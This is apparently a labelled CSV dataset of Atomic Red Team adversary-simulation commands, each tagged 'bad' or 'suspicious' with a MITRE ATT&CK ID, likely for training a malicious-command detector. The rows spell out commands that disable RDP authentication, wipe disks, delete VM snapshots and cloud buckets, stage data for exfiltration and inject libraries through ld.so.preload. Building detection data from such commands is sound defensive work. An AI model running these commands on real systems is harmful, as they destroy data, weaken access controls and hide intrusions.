d72c0995e4f46ca8e0485957,"$p=Tasklist /svc /fi ""IMAGENAME eq mstsc.exe"" /fo csv | convertfrom-csv if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }","$p=Tasklist /svc /fi ""IMAGENAME eq mstsc.exe"" /fo csv | convertfrom-csv if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.001/T1021.001.yaml,RDP to DomainController,T1021.001,"[""T1021.001""]",windows,0.55,True,"Attempt an RDP session via Remote Desktop Application to a DomainController.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1dedfaab2c4388e39fcb61d1,"Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name ""PortNumber"" -Value #{NEW_Remote_Port} New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}","Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name ""PortNumber"" -Value #{NEW_Remote_Port} New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.001/T1021.001.yaml,Changing RDP Port to Non Standard Port via Powershell,T1021.001,"[""T1021.001""]",windows,0.9,False,"Changing RDP Port to Non Standard Port via Powershell
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69477ab435c1fc1091aba8bc,"Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name ""PortNumber"" -Value #{OLD_Remote_Port} Remove-NetFirewallRule -DisplayName ""RDPPORTLatest-TCP-In"" -ErrorAction Ignore Get-Service TermService | Restart-Service -Force -ErrorAction Ignore","Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name ""PortNumber"" -Value #{OLD_Remote_Port} Remove-NetFirewallRule -DisplayName ""RDPPORTLatest-TCP-In"" -ErrorAction Ignore Get-Service TermService | Restart-Service -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.001/T1021.001.yaml,Changing RDP Port to Non Standard Port via Powershell,T1021.001,"[""T1021.001""]",windows,0.55,True,"Changing RDP Port to Non Standard Port via Powershell
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0623fcd1f1c2431821e4fda1,"reg add ""HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} /f netsh advfirewall firewall add rule name=""RDPPORTLatest-TCP-In"" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}","reg add ""HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} /f netsh advfirewall firewall add rule name=""RDPPORTLatest-TCP-In"" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.001/T1021.001.yaml,Changing RDP Port to Non Standard Port via Command_Prompt,T1021.001,"[""T1021.001""]",windows,0.9,False,"Changing RDP Port to Non Standard Port via Command_Prompt
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b5a6c6f91e0dc80341c1b13,"reg add ""HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} /f >nul 2>&1 netsh advfirewall firewall delete rule name=""RDPPORTLatest-TCP-In"" >nul 2>&1 net stop TermService /y >nul 2>&1 net start TermService >nul 2>&1","reg add ""HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} /f >nul 2>&1 netsh advfirewall firewall delete rule name=""RDPPORTLatest-TCP-In"" >nul 2>&1 net stop TermService /y >nul 2>&1 net start TermService >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.001/T1021.001.yaml,Changing RDP Port to Non Standard Port via Command_Prompt,T1021.001,"[""T1021.001""]",windows,0.55,True,"Changing RDP Port to Non Standard Port via Command_Prompt
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
95a76bb24bb3d09887381119,"reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v UserAuthentication /d 0 /t REG_DWORD /f","reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v UserAuthentication /d 0 /t REG_DWORD /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.001/T1021.001.yaml,Disable NLA for RDP via Command Prompt,T1021.001,"[""T1021.001""]",windows,0.9,False,"Disables network-level authentication (NLA) for RDP by changing a registry key via Command Prompt
Disabling NLA for RDP can allow remote user interaction with the Windows sign-in screen prior to authentication. According to Microsoft, Flax Typhoon actors used this technique implementation to achieve persistence on victim systems: https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/
See also: https://github.com/",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
43b3b9a37bc80466e9d6c6a6,"reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v UserAuthentication /d #{Default_UserAuthentication} /t REG_DWORD -f >nul 2>&1","reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v UserAuthentication /d #{Default_UserAuthentication} /t REG_DWORD -f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.001/T1021.001.yaml,Disable NLA for RDP via Command Prompt,T1021.001,"[""T1021.001""]",windows,0.55,True,"Disables network-level authentication (NLA) for RDP by changing a registry key via Command Prompt
Disabling NLA for RDP can allow remote user interaction with the Windows sign-in screen prior to authentication. According to Microsoft, Flax Typhoon actors used this technique implementation to achieve persistence on victim systems: https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/
See also: https://github.com/",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
23a5728995475088b0b480d6,"if (-not (Test-Path ""#{file_to_delete}"")) { New-Item ""#{file_to_delete}"" -Force } & ""#{sdelete_exe}"" -accepteula ""#{file_to_delete}""","if (-not (Test-Path ""#{file_to_delete}"")) { New-Item ""#{file_to_delete}"" -Force } & ""#{sdelete_exe}"" -accepteula ""#{file_to_delete}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1485/T1485.yaml,Windows - Overwrite file with SysInternals SDelete,T1485,"[""T1485""]",windows,0.9,False,"Overwrites and deletes a file using SysInternals SDelete. Upon successful execution, ""Files deleted: 1"" will be displayed in
the powershell session along with other information about the file that was deleted.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c31b236c404d5f1e70484a04,dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes,dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1485/T1485.yaml,FreeBSD/macOS/Linux - Overwrite file with DD,T1485,"[""T1485""]","linux,macos",0.9,False,"Overwrites and deletes a file using DD.
To stop the test, break the command with CTRL/CMD+C.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
83518c0519e99c1e86263eb9,cipher.exe /w:C:,cipher.exe /w:C:,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1485/T1485.yaml,Overwrite deleted data on C drive,T1485,"[""T1485""]",windows,0.9,False,"RansomEXX malware removes all deleted files using windows built-in cipher.exe to prevent forensic recover.
This process is very slow and test execution may timeout. 
https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware
https://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3c4921eab5696221528de678,gcloud config set project #{project_id} gcloud storage buckets delete gs://#{bucket_name},gcloud config set project #{project_id} gcloud storage buckets delete gs://#{bucket_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1485/T1485.yaml,GCP - Delete Bucket,T1485,"[""T1485""]",iaas:gcp,0.9,False,"This Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team.

Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations.
This atomic will create a bucket then delete the bucket.

Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2928569c3b75874014529199,"cd ""$PathToAtomicsFolder/T1485/src/T1485-4/"" terraform state rm google_storage_bucket.bucket terraform destroy -auto-approve","cd ""$PathToAtomicsFolder/T1485/src/T1485-4/"" terraform state rm google_storage_bucket.bucket terraform destroy -auto-approve",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1485/T1485.yaml,GCP - Delete Bucket,T1485,"[""T1485""]",iaas:gcp,0.55,True,"This Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team.

Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations.
This atomic will create a bucket then delete the bucket.

Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b4988cabb9df371b5ca1c842,"echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/snapshot.removeall $i & done""","echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/snapshot.removeall $i & done""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1485/T1485.yaml,ESXi - Delete VM Snapshots,T1485,"[""T1485""]",windows,0.9,False,"Deletes all snapshots for all Virtual Machines on an ESXi Host
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#inhibit%20recovery)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
00a40f5765785d27f4848662,"""#{rar_exe}"" a -r #{output_file} #{input_path}\*#{file_extension}","""#{rar_exe}"" a -r #{output_file} #{input_path}\*#{file_extension}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Compress Data for Exfiltration With Rar,T1560.001,"[""T1560.001""]",windows,0.9,False,"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.
When the test completes you should find the txt files from the %USERPROFILE% directory compressed in a file called T1560.001-data.rar in the %USERPROFILE% directory 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7590b2277a8f62031e44fe45,del /f /q /s #{output_file} >nul 2>&1,del /f /q /s #{output_file} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Compress Data for Exfiltration With Rar,T1560.001,"[""T1560.001""]",windows,0.55,True,"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.
When the test completes you should find the txt files from the %USERPROFILE% directory compressed in a file called T1560.001-data.rar in the %USERPROFILE% directory 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d72ee72e9a2608aaf8a1b32d,"mkdir .\tmp\victim-files cd .\tmp\victim-files echo ""This file will be encrypted"" > .\encrypted_file.txt ""#{rar_exe}"" a -hp""blue"" hello.rar dir","mkdir .\tmp\victim-files cd .\tmp\victim-files echo ""This file will be encrypted"" > .\encrypted_file.txt ""#{rar_exe}"" a -hp""blue"" hello.rar dir",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Compress Data and lock with password for Exfiltration with winrar,T1560.001,"[""T1560.001""]",windows,0.9,False,"Note: Requires winrar installation
rar a -p""blue"" hello.rar (VARIANT)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
31bd033882be4da0ef32b122,"path=%path%;""C:\Program Files (x86)\winzip"" mkdir .\tmp\victim-files cd .\tmp\victim-files echo ""This file will be encrypted"" > .\encrypted_file.txt ""#{winzip_exe}"" -min -a -s""hello"" archive.zip * dir","path=%path%;""C:\Program Files (x86)\winzip"" mkdir .\tmp\victim-files cd .\tmp\victim-files echo ""This file will be encrypted"" > .\encrypted_file.txt ""#{winzip_exe}"" -min -a -s""hello"" archive.zip * dir",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Compress Data and lock with password for Exfiltration with winzip,T1560.001,"[""T1560.001""]",windows,0.9,False,"Note: Requires winzip installation
wzzip sample.zip -s""blueblue"" *.txt (VARIANT)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
132de0e8606550891d2b5fa6,"mkdir $PathToAtomicsFolder\T1560.001\victim-files cd $PathToAtomicsFolder\T1560.001\victim-files echo ""This file will be encrypted"" > .\encrypted_file.txt ""#{7zip_exe}"" u archive.7z *txt -pblue dir","mkdir $PathToAtomicsFolder\T1560.001\victim-files cd $PathToAtomicsFolder\T1560.001\victim-files echo ""This file will be encrypted"" > .\encrypted_file.txt ""#{7zip_exe}"" u archive.7z *txt -pblue dir",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Compress Data and lock with password for Exfiltration with 7zip,T1560.001,"[""T1560.001""]",windows,0.9,False,"Note: This test requires 7zip installation
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d48b240767efabc528ee79f6,rmdir /s /Q $PathToAtomicsFolder\T1560.001\victim-files >nul 2>&1,rmdir /s /Q $PathToAtomicsFolder\T1560.001\victim-files >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Compress Data and lock with password for Exfiltration with 7zip,T1560.001,"[""T1560.001""]",windows,0.55,True,"Note: This test requires 7zip installation
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8065f8a8ffad54bc7f89e04d,zip #{output_file} #{input_files},zip #{output_file} #{input_files},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Data Compressed - nix - zip,T1560.001,"[""T1560.001""]","linux,macos",0.9,False,"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard zip compression.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7c1fcfbbd2d642d87f02463c,rm -f #{output_file},rm -f #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Data Compressed - nix - zip,T1560.001,"[""T1560.001""]","linux,macos",0.55,True,"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard zip compression.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d7f42090dc45ddf7053605b8,test -e #{input_file} && gzip -k #{input_file} || (echo '#{input_content}' >> #{input_file}; gzip -k #{input_file}),test -e #{input_file} && gzip -k #{input_file} || (echo '#{input_content}' >> #{input_file}; gzip -k #{input_file}),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Data Compressed - nix - gzip Single File,T1560.001,"[""T1560.001""]","linux,macos",0.9,False,"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5cf63499d8fa45f3452b5841,rm -f #{input_file}.gz,rm -f #{input_file}.gz,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Data Compressed - nix - gzip Single File,T1560.001,"[""T1560.001""]","linux,macos",0.55,True,"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
22298d73f9b4ce642a426482,tar -cvzf #{output_file} #{input_file_folder},tar -cvzf #{output_file} #{input_file_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Data Compressed - nix - tar Folder or File,T1560.001,"[""T1560.001""]","linux,macos",0.9,False,"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e0374a819000772ba8dbc167,"mkdir -p #{test_folder} cd #{test_folder}; touch a b c d e f g zip --password ""#{encryption_password}"" #{test_folder}/#{test_file} ./* echo ""#{encryption_password}"" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip ls -l #{test_folder}","mkdir -p #{test_folder} cd #{test_folder}; touch a b c d e f g zip --password ""#{encryption_password}"" #{test_folder}/#{test_file} ./* echo ""#{encryption_password}"" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip ls -l #{test_folder}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Data Encrypted with zip and gpg symmetric,T1560.001,"[""T1560.001""]","linux,macos",0.9,False,"Encrypt data for exiltration
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d054d7e622ca158bafd1eb19,rm -Rf #{test_folder},rm -Rf #{test_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Data Encrypted with zip and gpg symmetric,T1560.001,"[""T1560.001""]","linux,macos",0.55,True,"Encrypt data for exiltration
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9cbcbe796da276aaa49b0bd1,zip -r #{input_folder}/#{input_file}.zip #{input_folder} openssl enc -aes-256-cbc -pass pass:#{enc_pass} -p -in #{input_folder}/#{input_file}.zip -out #{input_folder}/#{input_file}.enc cat #{input_folder}/#{input_file}.enc | base64,zip -r #{input_folder}/#{input_file}.zip #{input_folder} openssl enc -aes-256-cbc -pass pass:#{enc_pass} -p -in #{input_folder}/#{input_file}.zip -out #{input_folder}/#{input_file}.enc cat #{input_folder}/#{input_file}.enc | base64,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Encrypts collected data with AES-256 and Base64,T1560.001,"[""T1560.001""]","linux,macos",0.9,False,"An adversary may compress all the collected data, encrypt and send them to a C2 server using base64 encoding. 
This atomic test tries to emulate the behaviour of the FLEXIROOT backdoor to archive the collected data. FLEXIROOT typically utilizes AES encryption and base64 encoding to transfer the encrypted data to the C2 server. 
In this test, standard zip compression and the OpenSSL library are used to encrypt the compressed data.
https://attack.mitre.org/versions/v7/software/S0267/",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b54c10d8c86862b62b06d953,rm -rf #{input_folder},rm -rf #{input_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Encrypts collected data with AES-256 and Base64,T1560.001,"[""T1560.001""]","linux,macos",0.55,True,"An adversary may compress all the collected data, encrypt and send them to a C2 server using base64 encoding. 
This atomic test tries to emulate the behaviour of the FLEXIROOT backdoor to archive the collected data. FLEXIROOT typically utilizes AES encryption and base64 encoding to transfer the encrypted data to the C2 server. 
In this test, standard zip compression and the OpenSSL library are used to encrypt the compressed data.
https://attack.mitre.org/versions/v7/software/S0267/",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a3fde261c02a572aca014157,# Re-add the initially extracted IP #{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m c:\temp\loghost_ip.txt rm c:\temp\loghost_ip.txt rm c:\temp\loghost.txt,# Re-add the initially extracted IP #{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m c:\temp\loghost_ip.txt rm c:\temp\loghost_ip.txt rm c:\temp\loghost.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,ESXi - Remove Syslog remote IP,T1560.001,"[""T1560.001""]",windows,0.55,True,"An adversary may edit the syslog config to remove the loghost in order to prevent or redirect logs being received by SIEM.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1e0128ac528eae02afb836c7,makecab.exe #{input_file} #{output_file},makecab.exe #{input_file} #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Compress a File for Exfiltration using Makecab,T1560.001,"[""T1560.001""]",windows,0.9,False,"An adversary may compress data using Makecab (in-built Windows binary) that is collected prior to exfiltration.
[reference](https://unit42.paloaltonetworks.com/exchange-server-credential-harvesting/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
677ff3b1d8a572a494c624fb,del #{output_file},del #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.001/T1560.001.yaml,Compress a File for Exfiltration using Makecab,T1560.001,"[""T1560.001""]",windows,0.55,True,"An adversary may compress data using Makecab (in-built Windows binary) that is collected prior to exfiltration.
[reference](https://unit42.paloaltonetworks.com/exchange-server-credential-harvesting/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0a02d855b8072fb7dff61d0e,sudo sh -c 'echo #{path_to_shared_library} > /etc/ld.so.preload',sudo sh -c 'echo #{path_to_shared_library} > /etc/ld.so.preload',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.006/T1574.006.yaml,Shared Library Injection via /etc/ld.so.preload,T1574.006,"[""T1574.006""]",linux,0.9,False,"This test adds a shared library to the `ld.so.preload` list to execute and intercept API calls. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.

Upon successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
249583a9c0b77a8e039aac56,sudo sed -i 's##{path_to_shared_library}##' /etc/ld.so.preload,sudo sed -i 's##{path_to_shared_library}##' /etc/ld.so.preload,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.006/T1574.006.yaml,Shared Library Injection via /etc/ld.so.preload,T1574.006,"[""T1574.006""]",linux,0.55,True,"This test adds a shared library to the `ld.so.preload` list to execute and intercept API calls. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.

Upon successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
083784513ebd91923e179a78,LD_PRELOAD=#{path_to_shared_library} ls,LD_PRELOAD=#{path_to_shared_library} ls,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.006/T1574.006.yaml,Shared Library Injection via LD_PRELOAD,T1574.006,"[""T1574.006""]",linux,0.9,False,"This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.

Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a703c40722d484713d7879de,DYLD_INSERT_LIBRARIES=#{dylib_file} #{file_to_inject},DYLD_INSERT_LIBRARIES=#{dylib_file} #{file_to_inject},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.006/T1574.006.yaml,Dylib Injection via DYLD_INSERT_LIBRARIES,T1574.006,"[""T1574.006""]",macos,0.9,False,"injects a dylib that opens calculator via env variable
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b6ab616f11751551f0172718,kill `pgrep Calculator` kill `pgrep firefox`,kill `pgrep Calculator` kill `pgrep firefox`,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.006/T1574.006.yaml,Dylib Injection via DYLD_INSERT_LIBRARIES,T1574.006,"[""T1574.006""]",macos,0.55,True,"injects a dylib that opens calculator via env variable
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a01b513a7514c4e29b826ec,"New-Item ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components"" -Name ""atomic_test"" -Force Set-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test"" ""(Default)"" ""ART TEST"" -Force Set-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test"" ""StubPath"" ""#{payload}"" -Force & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup","New-Item ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components"" -Name ""atomic_test"" -Force Set-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test"" ""(Default)"" ""ART TEST"" -Force Set-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test"" ""StubPath"" ""#{payload}"" -Force & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.014/T1547.014.yaml,HKLM - Add atomic_test key to launch executable as part of user setup,T1547.014,"[""T1547.014""]",windows,0.9,False,"This test will create an ""atomic_test"" key under 'HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components' to launch calc by configuring an active setup executable and 
forcing to run active setup using the ""runonce.exe /AlternateShellStartup"" command. 
Without the ""runonce.exe /AlternateShellStartup"" command it would run during the next logon for each user.

Note: If you logout before running the cleanup command, you will be required to go through the OOBE (out-of-box experience) setup seque",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4195c3219acb724fba8c074b,"Remove-Item ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test"" -Force -ErrorAction Ignore Remove-Item ""HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test"" -Force -ErrorAction Ignore","Remove-Item ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test"" -Force -ErrorAction Ignore Remove-Item ""HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.014/T1547.014.yaml,HKLM - Add atomic_test key to launch executable as part of user setup,T1547.014,"[""T1547.014""]",windows,0.55,True,"This test will create an ""atomic_test"" key under 'HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components' to launch calc by configuring an active setup executable and 
forcing to run active setup using the ""runonce.exe /AlternateShellStartup"" command. 
Without the ""runonce.exe /AlternateShellStartup"" command it would run during the next logon for each user.

Note: If you logout before running the cleanup command, you will be required to go through the OOBE (out-of-box experience) setup seque",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
